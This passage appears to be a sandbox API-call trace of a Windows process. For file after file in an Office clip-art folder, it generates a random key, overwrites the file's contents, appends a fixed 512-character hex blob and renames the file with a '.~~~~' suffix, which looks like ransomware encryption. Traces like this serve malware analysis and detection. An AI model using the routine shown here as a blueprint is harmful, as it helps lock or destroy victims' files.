	[0126.218] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.218] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.218] CloseHandle (hObject=0x128) returned 1
	[0126.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb0d8
	[0126.221] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf.~~~~")) returned 1
	[0126.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb0d8 | out: hHeap=0x300000) returned 1
	[0126.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.222] GetLastError () returned 0x0
	[0126.223] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.224] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.224] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.224] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24621410126) returned 1
	[0126.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4b1b850, dwHighDateTime=0x1d60e1e)) 
	[0126.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bba0
	[0126.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bba0 | out: hHeap=0x300000) returned 1
	[0126.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1ca8
	[0126.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.225] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1ca8 | out: hHeap=0x300000) returned 1
	[0126.225] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.225] GetLastError () returned 0x0
	[0126.225] GetLastError () returned 0x0
	[0126.225] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.225] GetLastError () returned 0x0
	[0126.225] GetLastError () returned 0x0
	[0126.227] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff8aa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.228] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x756, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x756, lpOverlapped=0x0) returned 1
	[0126.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.229] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.229] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.229] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.229] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.229] CloseHandle (hObject=0x11c) returned 1
	[0126.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3f1ca8
	[0126.230] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf.~~~~")) returned 1
	[0126.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1ca8 | out: hHeap=0x300000) returned 1
	[0126.231] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.231] GetLastError () returned 0x0
	[0126.231] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.232] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.232] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.233] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24622278733) returned 1
	[0126.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4b419b0, dwHighDateTime=0x1d60e1e)) 
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bbd8
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bbd8 | out: hHeap=0x300000) returned 1
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab960
	[0126.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab960 | out: hHeap=0x300000) returned 1
	[0126.233] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.234] GetLastError () returned 0x0
	[0126.234] GetLastError () returned 0x0
	[0126.234] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.234] GetLastError () returned 0x0
	[0126.234] GetLastError () returned 0x0
	[0126.236] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff3a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.236] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xc5a, lpOverlapped=0x0) returned 1
	[0126.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.238] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.238] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.238] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.238] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.238] CloseHandle (hObject=0x11c) returned 1
	[0126.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab960
	[0126.238] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf.~~~~")) returned 1
	[0126.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab960 | out: hHeap=0x300000) returned 1
	[0126.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.240] GetLastError () returned 0x0
	[0126.240] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.241] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.241] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.241] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24623150193) returned 1
	[0126.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4b419b0, dwHighDateTime=0x1d60e1e)) 
	[0126.241] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bc10
	[0126.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc10 | out: hHeap=0x300000) returned 1
	[0126.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa460
	[0126.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0126.242] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.242] GetLastError () returned 0x0
	[0126.243] GetLastError () returned 0x0
	[0126.243] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.243] GetLastError () returned 0x0
	[0126.243] GetLastError () returned 0x0
	[0126.245] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff980, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.245] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x680, lpOverlapped=0x0) returned 1
	[0126.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.247] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.247] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.247] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.247] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.247] CloseHandle (hObject=0x11c) returned 1
	[0126.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa460
	[0126.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf.~~~~")) returned 1
	[0126.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0126.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.249] GetLastError () returned 0x0
	[0126.250] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.251] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0126.251] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0126.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0126.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0126.252] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24624360624) returned 1
	[0126.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4b67b10, dwHighDateTime=0x1d60e1e)) 
	[0126.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0126.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0126.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bc48
	[0126.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc48 | out: hHeap=0x300000) returned 1
	[0126.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aba08
	[0126.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.254] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0126.254] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.254] GetLastError () returned 0x0
	[0126.255] GetLastError () returned 0x0
	[0126.255] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.255] GetLastError () returned 0x0
	[0126.255] GetLastError () returned 0x0
	[0126.353] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff2f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.353] WriteFile (in: hFile=0x11c, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0xd10, lpOverlapped=0x0) returned 1
	[0126.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.505] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.505] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.505] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.505] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.505] CloseHandle (hObject=0x11c) returned 1
	[0126.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab768
	[0126.520] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf.~~~~")) returned 1
	[0126.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab768 | out: hHeap=0x300000) returned 1
	[0126.531] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0126.531] GetLastError () returned 0x0
	[0126.550] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0126.552] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.552] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.552] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24654209212) returned 1
	[0126.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb4e153d0, dwHighDateTime=0x1d60e1e)) 
	[0126.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b858
	[0126.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.552] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b858 | out: hHeap=0x300000) returned 1
	[0126.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ab8b8
	[0126.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab8b8 | out: hHeap=0x300000) returned 1
	[0126.553] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0126.553] GetLastError () returned 0x0
	[0126.553] GetLastError () returned 0x0
	[0126.553] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0126.553] GetLastError () returned 0x0
	[0126.554] GetLastError () returned 0x0
	[0126.556] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff7de, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
